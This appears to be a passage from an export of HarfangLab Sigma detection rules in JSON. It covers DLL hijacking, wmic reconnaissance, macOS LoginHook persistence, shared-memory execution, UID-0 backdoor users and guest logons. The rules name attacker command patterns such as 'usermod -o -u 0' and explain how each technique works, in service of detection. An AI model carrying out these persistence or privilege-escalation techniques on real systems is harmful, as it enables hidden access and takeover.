+  "content": "title: DLL Hijacking via eventcreate.exe\nid: 7c308e9d-2d15-4d5b-90b5-1ec0b1c8a057\ndescription: |\n    Detects potential Windows DLL Hijacking via eventcreate.exe.\n    DLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\n    Attackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\n    It is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\nreferences:\n    - https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows\n    - https://github.com/xforcered/WFH\n    - https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/\n    - https://attack.mitre.org/techniques/T1574/001/\ndate: 2021/12/10\nmodified: 2025/07/11\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1574.001\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.DLLHijacking\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        ProcessOriginalFileName: 'eventcreate.exe'\n        ProcessSignature: 'Microsoft Windows'\n        ImageLoaded|endswith:\n            - '\\mpr.dll'\n            - '\\netutils.dll'\n            - '\\srvcli.dll'\n            - '\\SspiCli.dll'\n    filter_legitimate_image:\n        Image|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_legitimate_imageloaded:\n        ImageLoaded|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_signature_imageloaded:\n        Signed: 'true'\n        Signature: 'Microsoft Windows'\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "7c308e9d-2d15-4d5b-90b5-1ec0b1c8a057",
+  "rule_name": "DLL Hijacking via eventcreate.exe",
+  "rule_description": "Detects potential Windows DLL Hijacking via eventcreate.exe.\nDLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\nAttackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\nIt is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\n",
+  "rule_creation_date": "2021-12-10",
+  "rule_modified_date": "2025-07-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "7c35843a-8300-4ad9-a736-8ba3927a525a",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "low",
+  "rule_effective_confidence": "weak",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.620803Z",
+  "creation_date": "2026-03-23T11:45:34.620805Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.620809Z",
+  "rule_level": "low",
+  "rule_confidence": "weak",
+  "rule_confidence_override": null,
+  "references": [
+    "https://thedfirreport.com/2022/08/08/bumblebee-roasts-its-way-to-domain-admin/",
+    "https://attack.mitre.org/techniques/T1047/"
+  ],
+  "name": "t1047_wmic_discovery.yml",
+  "content": "title: Generic Discovery via wmic.exe\nid: 7c35843a-8300-4ad9-a736-8ba3927a525a\ndescription: |\n    Detects the execution of wmic.exe to dump users, processes, softwares or services.\n    Attackers can use this utility to perform various types of reconnaissance.\n    It is recommended to analyze the process responsible for the execution of wmic.exe to look for malicious content or other malicious actions.\nreferences:\n    - https://thedfirreport.com/2022/08/08/bumblebee-roasts-its-way-to-domain-admin/\n    - https://attack.mitre.org/techniques/T1047/\ndate: 2022/11/07\nmodified: 2026/03/16\nauthor: HarfangLab\ntags:\n    - attack.discovery\n    - attack.t1047\n    - classification.Windows.Source.ProcessCreation\n    - classification.Windows.Behavior.Discovery\nlogsource:\n    category: process_creation\n    product: windows\ndetection:\n    selection_bin:\n        - Image|endswith: '\\wmic.exe'\n        - OriginalFileName: 'wmic.exe'\n\n    selection_susp_arguments:\n        CommandLine|contains|all:\n            - ' get '\n            - ' Fullname'\n            - ' PasswordAge'\n            - ' NumberOfLogons'\n            - ' Profile'\n\n    selection_get_command:\n        CommandLine|contains: ' get'\n\n    selection_list_command:\n        CommandLine|contains: ' list'\n\n    selection_get_field:\n        CommandLine|contains:\n            - ' useraccount'\n            - ' service '\n            - ' product '\n\n    selection_list_field:\n        CommandLine|contains:\n            - ' useraccount'\n            - ' service '\n            - ' product '\n            - ' process'\n\n    exclusion_template_gpscript:\n        ProcessAncestors|contains: '?:\\Windows\\System32\\gpscript.exe|?:\\Windows\\System32\\svchost.exe'\n\n    exclusion_commandline:\n        CommandLine|contains:\n            - 'wmic.exe baseboard get '\n            - 'wmic baseboard get '\n            - 'service where name like ?tacticalrmm? get Name '\n            - ' product where name like ?Microsoft Office Standard 2%? get name'\n\n    exclusion_carestream:\n        CommandLine: 'wmic service where name=Smart Link Gateway get StartName'\n        ParentImage: '?:\\Program Files (x86)\\Carestream\\Smart Link Agent\\RMSPerl\\perl\\bin\\perl.exe'\n\n    exclusion_atempo:\n        ParentImage|startswith: '?:\\Program Files\\Atempo\\'\n\n    exclusion_easily:\n        CommandLine: 'wmic service where ?name=easily.socle.exploitation.agent? get name, startmode, state /format:csv'\n\n    exclusion_legitimate_tools:\n        - GrandparentCommandLine|contains:\n            - '?:\\Program Files\\OCS Inventory Agent\\plugins\\CustomWinSoftware.ps1'\n            - '\\Nutanix\\Move\\download\\scripts\\UninstallVMwareTools.ps1'\n        - GrandparentImage:\n            - '?:\\Program Files (x86)\\Carte Services PLUS 3\\Carte Services PLUS 3.exe'\n            - '?:\\Program Files\\Carte Services PLUS 3\\Carte Services PLUS 3.exe'\n            - '?:\\Program Files\\Microsoft Cloud Managed Desktop Extension\\CMDExtension\\Microsoft.Management.Services.CloudManagedDesktop.Agent.exe'\n            - '?:\\Program Files\\VMware\\VMware Tools\\vmtoolsd.exe'\n            - '?:\\Users\\\\*\\AppData\\Local\\Programs\\Carte Services PLUS 3\\Carte Services PLUS 3.exe'\n            - '?:\\Program Files\\Centreon NSClient++\\Uninst.exe'\n            - '?:\\Program Files\\BMC Software\\BladeLogic\\RSC\\RSCD.exe'\n            - '?:\\Program Files (x86)\\ManageEngine\\UEMS_Agent\\bin\\ToolsIQ.exe'\n\n    exclusion_palo_alto:\n        - ParentImage:\n            - '?:\\Program Files\\Palo Alto Networks\\GlobalProtect\\PanGPA.exe'\n            - '?:\\Program Files\\Palo Alto Networks\\GlobalProtect\\PanGPSupport.exe'\n        - GrandparentImage:\n            - '?:\\Program Files\\Palo Alto Networks\\GlobalProtect\\PanGPA.exe'\n            - '?:\\Program Files\\Palo Alto Networks\\GlobalProtect\\PanGPSupport.exe'\n\n    exclusion_myhop:\n        CommandLine: \"WMIC SERVICE WHERE 'Name=myhop.Socle.Exploitation.Agent' GET NAME, STARTMODE, State /FORMAT:csv\"\n\n    exclusion_salt:\n        GrandparentImage: '?:\\VMware\\UCP\\salt\\bin\\python.exe'\n\n    exclusion_telemis:\n        ParentImage: '?:\\telemis\\nemo\\localProbe\\Python*\\python.exe'\n        CommandLine: 'wmic product get name'\n\n    condition: selection_bin and (selection_susp_arguments or (all of selection_get_*) or (all of selection_list_*)) and not 1 of exclusion_*\nlevel: low\nconfidence: weak\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "7c35843a-8300-4ad9-a736-8ba3927a525a",
+  "rule_name": "Generic Discovery via wmic.exe",
+  "rule_description": "Detects the execution of wmic.exe to dump users, processes, softwares or services.\nAttackers can use this utility to perform various types of reconnaissance.\nIt is recommended to analyze the process responsible for the execution of wmic.exe to look for malicious content or other malicious actions.\n",
+  "rule_creation_date": "2022-11-07",
+  "rule_modified_date": "2026-03-16",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.discovery"
+  ],
+  "rule_technique_tags": [
+    "attack.t1047"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "7c489058-8e36-42b2-97cf-d19aad77fe92",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "medium",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.092723Z",
+  "creation_date": "2026-03-23T11:45:34.092725Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.092729Z",
+  "rule_level": "medium",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1037.002/T1037.002.md",
+    "https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1547.007/T1547.007.md",
+    "https://attack.mitre.org/techniques/T1037/002/",
+    "https://attack.mitre.org/techniques/T1547/007/"
+  ],
+  "name": "t1037_002_login_script.yml",
+  "content": "title: New Login Script Added\nid: 7c489058-8e36-42b2-97cf-d19aad77fe92\ndescription: |\n    Detects the addition of a new login script on macOS via defaults com.apple.loginwindow.LoginHook.\n    Attackers may use a Login Hook to establish persistence by pointing it to a malicious script.\n    A Login Hook is a plist file that points to a specific script to be executed with root privileges upon user logon.\n    The plist file is located in the com.apple.loginwindow.plist file stored in /Library/Preferences/ and can be modified using the default command-line utility.\n    It is recommended to investigate the content of the newly created plist file to determine if the login script is malicious.\nreferences:\n    - https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1037.002/T1037.002.md\n    - https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1547.007/T1547.007.md\n    - https://attack.mitre.org/techniques/T1037/002/\n    - https://attack.mitre.org/techniques/T1547/007/\ndate: 2022/07/21\nmodified: 2025/01/20\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.t1037.002\n    - attack.t1547.007\n    - classification.macOS.Source.ProcessCreation\n    - classification.macOS.Behavior.Persistence\n    - classification.macOS.Behavior.SystemModification\nlogsource:\n    category: process_creation\n    product: macos\ndetection:\n    selection:\n        Image: '/usr/bin/defaults'\n        CommandLine|contains|all:\n          - 'write'\n          - 'com.apple.loginwindow'\n          - 'LoginHook'\n    condition: selection\nlevel: medium\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "7c489058-8e36-42b2-97cf-d19aad77fe92",
+  "rule_name": "New Login Script Added",
+  "rule_description": "Detects the addition of a new login script on macOS via defaults com.apple.loginwindow.LoginHook.\nAttackers may use a Login Hook to establish persistence by pointing it to a malicious script.\nA Login Hook is a plist file that points to a specific script to be executed with root privileges upon user logon.\nThe plist file is located in the com.apple.loginwindow.plist file stored in /Library/Preferences/ and can be modified using the default command-line utility.\nIt is recommended to investigate the content of the newly created plist file to determine if the login script is malicious.\n",
+  "rule_creation_date": "2022-07-21",
+  "rule_modified_date": "2025-01-20",
+  "rule_os": "macos",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion"
+  ],
+  "rule_technique_tags": [
+    "attack.t1037.002",
+    "attack.t1547.007"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "7c4f005e-0848-49fc-b9fb-72ccd0cc4fb6",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.624908Z",
+  "creation_date": "2026-03-23T11:45:34.624910Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.624914Z",
+  "rule_level": "critical",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1564.001/T1564.001.md",
+    "https://attack.mitre.org/techniques/T1564/001/"
+  ],
+  "name": "t1564_001_tmpfs_file_execution.yml",
+  "content": "title: Execution from a Shared Memory Path\nid: 7c4f005e-0848-49fc-b9fb-72ccd0cc4fb6\ndescription: |\n    Detects a suspicious execution from a shared memory path.\n    This is used to avoid dropping a malicious file on disk (fileless malware technique).\n    This technique is used to bypass security products that use \"scan on write\" detection.\n    As the file is never written to disk, it will never trigger the “scan on write” feature.\n    It is recommended to check the legitimacy and origin of the process triggering this rule.\nreferences:\n    - https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1564.001/T1564.001.md\n    - https://attack.mitre.org/techniques/T1564/001/\ndate: 2021/10/11\nmodified: 2025/12/10\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.execution\n    - attack.t1564.001\n    - classification.Linux.Source.ProcessCreation\n    - classification.Linux.Behavior.MemoryExecution\n    - classification.Linux.Behavior.DefenseEvasion\nlogsource:\n    category: process_creation\n    product: linux\ndetection:\n    selection:\n        Image|startswith:\n            - '/dev/shm/'\n            - '/var/run'\n            - '/run/'\n\n    exclusion_steam:\n        - CommandLine:\n            - '/sbin/ldconfig.real -f /run/pressure-vessel/ldso/ld.so.conf -C /run/pressure-vessel/ldso/new-ld.so.cache -X'\n            - '/sbin/ldconfig.real -f /var/pressure-vessel/ldso/ld.so.conf -C /var/pressure-vessel/ldso/new-ld.so.cache -X'\n            - '/sbin/ldconfig.real -XNv'\n            - '/sbin/ldconfig -f /run/user/*/pressure-vessel/ldso/ld.so.conf -C /run/user/*/pressure-vessel/ldso/new-ld.so.cache -X'\n            - '/sbin/ldconfig.real -p'\n          ParentImage:\n            - '/usr/lib/pressure-vessel/from-host/bin/pressure-vessel-adverb'\n            - '/usr/lib/pressure-vessel/from-host/libexec/steam-runtime-tools-?/pv-adverb'\n            - '*/steam-runtime/amd64/usr/bin/steam-runtime-identify-library-abi'\n            - '/usr/bin/bash'\n        - Image: '/run/host/usr/bin/localedef'\n\n    exclusion_supervise:\n        Image: '/run/s6/services/nginx/finish'\n        ParentImage: '/bin/s6-supervise'\n\n    exclusion_schroot:\n        Image: '/run/schroot/mount/*'\n        ParentImage: '/usr/bin/schroot'\n\n    exclusion_podman:\n        Image: '/run/podman-init'\n\n    exclusion_go:\n        Image: '/run/user/*/go-build*/*'\n        ParentImage: '/usr/lib/go/bin/go'\n\n    exclusion_container:\n        - ParentImage: '/usr/local/bin/containerd-shim-runc-v2'\n        - GrandparentImage: '/usr/local/bin/containerd-shim-runc-v2'\n        - Ancestors|contains: '|/usr/bin/containerd-shim-runc-v2|'\n\n    exclusion_perl:\n        Image|startswith: '/dev/shm/perl_build/perl-*/'\n\n    exclusion_mysql:\n        Image|startswith: '/dev/shm/perl_build/DBD-mysql-*/'\n\n    exclusion_vessel:\n        CommandLine|contains: '/var/pressure-vessel/ldso/'\n\n    exclusion_grid:\n        CommandLine|contains: '/NonLinLoc/src/bin/Grid2'\n\n    exclusion_incus_agent:\n        ParentImage: '/usr/lib/systemd/systemd'\n        Image: '/run/incus_agent/incus-agent'\n\n    exclusion_appimage:\n        Image: '/run/user/*/appimagelauncherfs/*.AppImage'\n\n    exclusion_argo:\n        Image: '/var/run/argo/argoexec'\n\n    exclusion_dia:\n        Image: '/run/user/*/usr/bin/dia'\n\n    condition: selection and not 1 of exclusion_*\nlevel: critical\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "7c4f005e-0848-49fc-b9fb-72ccd0cc4fb6",
+  "rule_name": "Execution from a Shared Memory Path",
+  "rule_description": "Detects a suspicious execution from a shared memory path.\nThis is used to avoid dropping a malicious file on disk (fileless malware technique).\nThis technique is used to bypass security products that use \"scan on write\" detection.\nAs the file is never written to disk, it will never trigger the “scan on write” feature.\nIt is recommended to check the legitimacy and origin of the process triggering this rule.\n",
+  "rule_creation_date": "2021-10-11",
+  "rule_modified_date": "2025-12-10",
+  "rule_os": "linux",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.execution"
+  ],
+  "rule_technique_tags": [
+    "attack.t1564.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "7c61f922-cea4-4ba4-af16-18a8abc4c6f2",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.071357Z",
+  "creation_date": "2026-03-23T11:45:34.071359Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.071363Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://embracethered.com/blog/posts/2021/linux-user-uid-zero-backdoor/",
+    "https://attack.mitre.org/techniques/T1548/"
+  ],
+  "name": "t1548_potential_backdoor_user_creation.yml",
+  "content": "title: Potential Backdoor User Creation\nid: 7c61f922-cea4-4ba4-af16-18a8abc4c6f2\ndescription: |\n    Detects the creation of a backdoor user by modifying an existing user's UID to 0 (root) using the usermod command.\n    Threat actors can use this technique to create privileged accounts that persist with root access while appearing as regular users.\n    It is recommended to investigate the execution context of this command to determine its legitimacy.\nreferences:\n    - https://embracethered.com/blog/posts/2021/linux-user-uid-zero-backdoor/\n    - https://attack.mitre.org/techniques/T1548/\ndate: 2024/12/02\nmodified: 2025/11/24\nauthor: HarfangLab\ntags:\n    - attack.privilege_escalation\n    - attack.persistence\n    - attack.t1548\n    - classification.Linux.Source.ProcessCreation\n    - classification.Linux.Behavior.SystemModification\n    - classification.Linux.Behavior.Persistence\nlogsource:\n    category: process_creation\n    product: linux\ndetection:\n    selection:\n        CommandLine|contains:\n            - 'usermod -u 0 -o'\n            - 'usermod -o -u 0'\n\n    exclusion_s6:\n        GrandparentImage: '/package/admin/s6-*/command/s6-sudod'\n\n    condition: selection and not 1 of exclusion_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "7c61f922-cea4-4ba4-af16-18a8abc4c6f2",
+  "rule_name": "Potential Backdoor User Creation",
+  "rule_description": "Detects the creation of a backdoor user by modifying an existing user's UID to 0 (root) using the usermod command.\nThreat actors can use this technique to create privileged accounts that persist with root access while appearing as regular users.\nIt is recommended to investigate the execution context of this command to determine its legitimacy.\n",
+  "rule_creation_date": "2024-12-02",
+  "rule_modified_date": "2025-11-24",
+  "rule_os": "linux",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1548"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "7c7e9058-75b9-4939-9ef9-b2e9ed96ba71",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.088675Z",
+  "creation_date": "2026-03-23T11:45:34.088677Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.088681Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows",
+    "https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/",
+    "https://attack.mitre.org/techniques/T1574/001/"
+  ],
+  "name": "t1574_001_dll_hijacking_easpolicymanagerbrokerhost.yml",
+  "content": "title: DLL Hijacking via easpolicymanagerbrokerhost.exe\nid: 7c7e9058-75b9-4939-9ef9-b2e9ed96ba71\ndescription: |\n    Detects potential Windows DLL Hijacking via easpolicymanagerbrokerhost.exe.\n    DLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\n    Attackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\n    It is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\nreferences:\n    - https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows\n    - https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/\n    - https://attack.mitre.org/techniques/T1574/001/\ndate: 2021/12/10\nmodified: 2025/07/11\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1574.001\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.DLLHijacking\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        ProcessOriginalFileName: 'easpolicymanagerbrokerhost.exe'\n        ProcessSignature: 'Microsoft Windows'\n        ImageLoaded|endswith:\n            - '\\InprocLogger.dll'\n            - '\\policymanager.dll'\n    filter_legitimate_image:\n        Image|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_legitimate_imageloaded:\n        ImageLoaded|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_signature_imageloaded:\n        Signed: 'true'\n        Signature: 'Microsoft Windows'\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "7c7e9058-75b9-4939-9ef9-b2e9ed96ba71",
+  "rule_name": "DLL Hijacking via easpolicymanagerbrokerhost.exe",
+  "rule_description": "Detects potential Windows DLL Hijacking via easpolicymanagerbrokerhost.exe.\nDLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\nAttackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\nIt is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\n",
+  "rule_creation_date": "2021-12-10",
+  "rule_modified_date": "2025-07-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "7cb0cf75-a365-4572-8532-982bf3b0ac2b",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "medium",
+  "rule_effective_confidence": "weak",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.075638Z",
+  "creation_date": "2026-03-23T11:45:34.075640Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.075645Z",
+  "rule_level": "medium",
+  "rule_confidence": "weak",
+  "rule_confidence_override": null,
+  "references": [
+    "https://learn.microsoft.com/en-us/windows/security/identity-protection/access-control/local-accounts#guest",
+    "https://attack.mitre.org/techniques/T1078/001/"
+  ],
+  "name": "t1078_001_guest_account_authentication.yml",
+  "content": "title: Guest Account Authentication\nid: 7cb0cf75-a365-4572-8532-982bf3b0ac2b\ndescription: |\n    Detects authentication of the guest account.\n    This account is disabled by default and can be used by attackers to maintain access to victim system via a persistence.\n    It is recommended to investigate action made within the newly created session.\nreferences:\n    - https://learn.microsoft.com/en-us/windows/security/identity-protection/access-control/local-accounts#guest\n    - https://attack.mitre.org/techniques/T1078/001/\ndate: 2024/01/04\nmodified: 2025/01/14\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.initial_access\n    - attack.t1078.001\n    - classification.Windows.Source.EventLog\n    - classification.Windows.Behavior.Persistence\nlogsource:\n    product: windows\n    service: security\ndetection:\n    selection_eventid:\n        Source: 'Microsoft-Windows-Security-Auditing'\n        EventID: 4624\n        LogonType:\n            - '3'\n            - '10'\n\n    selection_account:\n        - TargetUserSid|endswith: '-501'\n        - SubjectUserSid|endswith: '-501'\n\n    condition: all of selection_*\nlevel: medium\nconfidence: weak",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "7cb0cf75-a365-4572-8532-982bf3b0ac2b",
+  "rule_name": "Guest Account Authentication",
+  "rule_description": "Detects authentication of the guest account.\nThis account is disabled by default and can be used by attackers to maintain access to victim system via a persistence.\nIt is recommended to investigate action made within the newly created session.\n",
+  "rule_creation_date": "2024-01-04",
+  "rule_modified_date": "2025-01-14",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.initial_access",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1078.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
